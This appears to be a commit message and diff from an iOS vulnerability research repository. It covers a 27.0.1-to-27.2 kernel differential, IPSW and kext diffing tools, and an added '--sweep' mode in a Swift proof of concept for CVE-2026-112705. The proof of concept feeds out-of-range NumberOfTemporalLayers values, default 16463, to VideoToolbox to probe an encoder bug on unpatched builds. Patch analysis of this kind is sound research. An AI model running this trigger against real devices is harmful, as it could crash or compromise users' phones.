iOS 27.2 kernel differential + NTL fix-boundary sweep

- docs/IOS27.2-KERNEL-DIFF.md: 27.0.1 vs 27.2 (iPhone19,7), 162 advisory
  CVEs, 93 size-changed kexts; confirmed fix sites for 112705 (NTL 0..7
  assertion), 113910 (produced vs expected chunk bytes), 112507 (ipr/table
  NULL checks in ipc_misc.c); __DATA_SPTM byte-identical, no PPL/SPTM/MIE
  code change or bypass fix
- tools/ipsw/: Range-based IPSW reader, IM4P/LZFSE + fileset parser, kext
  extractor, llvm-objdump diff, advisory mapper
- CVE-2026-112705: --sweep mode (0..12, no frame) in both POCs; app module
  now sweeps 0/1/7/8/64/1024/16462/16463
- app 2.3 build 7

CVE-2026-112705/CVE-2026-112705.swift

@@ -11,6 +11,7 @@
 // Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
 //          -framework VideoToolbox -framework CoreMedia -framework CoreVideo
 // Run:   ./cve-2026-112705 [layers] [--force-host]     default 16463
+//        ./cve-2026-112705 --sweep                    property acceptance 0..12, no frame
 
 import Foundation
 import VideoToolbox
@@ -19,6 +20,7 @@ import CoreVideo
 
 let args = CommandLine.arguments
 let forceHost = args.contains("--force-host")
+let sweep = args.contains("--sweep")
 let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
 
 func fourCC(_ v: OSStatus) -> String {
@@ -63,6 +65,17 @@ print("EncoderUsage=\(su) RCMode=\(sr)")
 let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
 print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
 
+if sweep {
+    // 27.2 clamps to 0...7; 27.0/27.0.1 accepts the full range.
+    print("sweep: NTL acceptance 0...12 (no frame submitted)")
+    for n in 0...12 {
+        let st = set(s, "NumberOfTemporalLayers", NSNumber(value: n))
+        print("NTL \(n): status=\(st)")
+    }
+    VTCompressionSessionInvalidate(s)
+    exit(0)
+}
+
 if sn != 0 {
     print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
     VTCompressionSessionInvalidate(s)